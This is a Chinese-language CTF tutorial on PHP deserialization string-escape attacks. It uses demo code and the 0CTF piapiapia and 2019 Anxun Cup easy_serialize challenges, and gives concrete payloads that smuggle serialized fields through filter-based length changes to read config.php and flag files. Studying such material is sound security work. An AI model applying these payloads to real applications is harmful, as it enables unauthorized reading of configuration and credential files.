替换后导致序列化字符变长

以下面代码为例,目的是在不直接修改$pass值的情况下间接修改$pass

<?php
ini_set('display_errors',1);
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;

?>

这里首先要知道的是将一个类序列化后的格式,这个是反序列化基础,可以参考https://www.ghtwf01.cn/index.php/archives/223/

1.png

在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,如果指定的长度错误则反序列化就会失败

2.png

此时的name所读取的数据为aaaa"而正常的语法是需要用";去闭合当前的变量,而因为长度错误所以此时php把闭合的双引号当做了字符串,所以下一个字符就成了分号,没能闭合导致抛出了错误

回到最开始的代码部分,如果我们给$name添加一个bb那么就会出现错误

3.png

因为序列化后再替换后的值为O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";},而aaaaccc的长度为7但是前面写的长度为6所以导致反序列化出错,此时的name能读取到的只是aaaacc,末尾处的那个c是读取不到的,这就形成了一个字符串的逃逸。当我们添加多个bb,每添加一个bb我们就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了

如果我们之间把$name赋值为";s:4:"pass";s:6:"hacker";},进行序列化和反序列化后结果如何呢

4.png

这里的关键点在于filter函数,这个函数检测并替换了非法字符串,看似增加了代码的安全系数,实则让整段代码更加危险。filter函数中检测序列化后的字符串,如果检测到了非法字符'bb',就把它替换为'ccc'
此时我们发现";s:4:"pass";s:6:"hacker";}的长度为27,如果我们再加上27个bb,那最终的长度将增加27,不就能逃逸后面的";s:4:"pass";s:6:"hacker";}了吗?如下:

5.png

例题:0CTF piapiapia

进去后是一个登陆界面,通过目录扫描得到www.zip源码泄漏,发现有个register.php可以注册账号,于是注册账号后登陆跳转到profile.php

得到了源码于是开始代码审计,这里贴一下各个文件代码

index.php

就是一个登陆界面的认证

<?php
    require_once('class.php');
    if($_SESSION['username']) {
        header('Location: profile.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        if(strlen($username) < 3 or strlen($username) > 16) 
            die('Invalid user name');

        if(strlen($password) < 3 or strlen($password) > 16) 
            die('Invalid password');

        if($user->login($username, $password)) {
            $_SESSION['username'] = $username;
            header('Location: profile.php');
            exit;    
        }
        else {
            die('Invalid user name or password');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">

            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        <h3>Hi <?php echo $nickname;?></h3>
        <label>Phone: <?php echo $phone;?></label>
        <label>Email: <?php echo $email;?></label>
    </div>
</body>
</html>
<?php
    }
?>

Register.php

<?php
    require_once('class.php');
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        if(strlen($username) < 3 or strlen($username) > 16) 
            die('Invalid user name');

        if(strlen($password) < 3 or strlen($password) > 16) 
            die('Invalid password');
        if(!$user->is_exists($username)) {
            $user->register($username, $password);
            echo 'Register OK!<a href="index.php">Please Login</a>';        
        }
        else {
            die('User name Already Exists');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Register</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">

            <button type="submit" class="btn btn-primary">REGISTER</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

class.php

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

config.php

<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

根据这个文件就应该知道flag保存在config.php里面,我们的目的应该是读取config.php,想到profile.php里面有个文件读取部分

else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));

上面有个反序列化,如果$profile['photo']config.php就可以读取到,可以对photo进行操作的地方在update.php,代码如下

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

跟进一下update_profile()方法

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
}

$profile = unserialize($profile);的值也就是经过filter()函数处理后的值$new_profile

跟进父类的filter()方法

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

注意到它可以将select、insert、update、delete、where替换成hacker,如果是where替换成hacker那么字符长度增加一个又想到有反序列化,我们之前想修改值,那么就想到反序列化字符逃逸

现在来理一下思路

phone、email、nickname、photo是用户传入的值进行序列化,然后使用filter()函数过滤,最后将其进行反序列化,我们想修改photo的值为config.php,这里是替换后导致序列化字符变长的情况

在这之前传入nickname的时候还需要绕过一个正则

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

这里传入数组即可

我们先来看一下传入值序列化后的内容

6.png

显然我们需要修改photo的值入手点应该在nickname,因为nickname是数组,所以我们需要传入";}s:5:"photo";s:10:"config.php";}共34个字符,为啥要这样闭合,因为数组以}结束我们看一下数组后序列化的内容就知道了

7.png

所以我们需要34个where,传入如下参数

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

8.png

最后得到base64输出的config.php源码

9.png

就拿到了flag

替换后导致序列化字符变短

实验代码如下

<?php
function str_rep($string){
    return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
print_r($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

我们的目标是通过输入name和sign间接修改number的值

我们要修改number的值,就要在sign中加入";s:6:"number";s:4:"2000";},其长度为27

10.png

直接这样显然是不行的,我们得构造payload:name=testtesttesttesttesttest&sign=aaaaa";s:4:"sign";s:7:"ghtwf01";s:6:"number";s:4:"2000";}

11.png

为什么要这样构造呢,我们来理一下思路:

回到我们最开始在sign中直接加入";s:6:"number";s:4:"2000";},其长度为27那儿,这种要利用应该是替换后导致字符变长的情况,但是这儿是替换后导致字符变短,所以我们把目光移到name那儿,我们在name中输入了输入了6个test,替换为空后这样就腾出了24个字符的空间,正好包含进了";s:4:"sign";s:54:"aaaaa,由于";s:4:"sign";s:54:"aaaaa成了name的内容,所以我们还要在后面加个";s:4:"sign";s:7:"ghtwf01作为sign序列化的内容,这样就实现了字符逃逸

例题:2019安洵杯 easy_serialize

进入题目就给出源码

<?php$function = @$_GET['f'];function filter($img){    $filter_arr = array('php','flag','php5','php4','fl1g');    $filter = '/'.implode('|',$filter_arr).'/i';    return preg_replace($filter,'',$img);}if($_SESSION){    unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST);if(!$function){    echo '<a href="index.php?f=highlight_file">source_code</a>';}if(!$_GET['img_path']){    $_SESSION['img'] = base64_encode('guest_img.png');}else{    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){    highlight_file('index.php');}else if($function == 'phpinfo'){    eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){    $userinfo = unserialize($serialize_info);    echo file_get_contents(base64_decode($userinfo['img']));}

看到可以查看phpinfo,在里面找到敏感信息

12.png

auto_append_file在所有页面的底部自动包含文件。我们可以看到自动包含了一个文件,其中应该存在flag,我们应该想办法读取该文件,我们注意到

else if($function == 'show_image'){    $userinfo = unserialize($serialize_info);    echo file_get_contents(base64_decode($userinfo['img']));}

可以知道先对$serialize_info进行反序列化,然后对$userinfo['img']进行base64解码后读取文件

我们再看整个代码,用户传入值保存在SESSION数组中进行序列化,然后使用filter()函数替换关键字为空,最后进行反序列化读取文件,我们想要修改$userinfo['img']的值为base64编码后的d0g3_f1ag.php,很明显的替换后导致序列化字符变短的字符逃逸

因为这里使用了extract()函数导致了变量覆盖漏洞,所以当我们传入SESSION[flag]=123时,$SESSION["user"]$SESSION['function'] 全部会消失,只剩下SESSION[flag]=123

post传参:

_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

该数组序列化后内容为a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}

经过filter()函数替换后的内容为a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}

这样img的值就为ZDBnM19mMWFnLnBocA==了,成功读取到d0g3_f1ag.php

13.png

提示flag在/d0g3_fllllllag里面,更改base64的值为L2QwZzNfZmxsbGxsbGFn即可读取到flag

14.png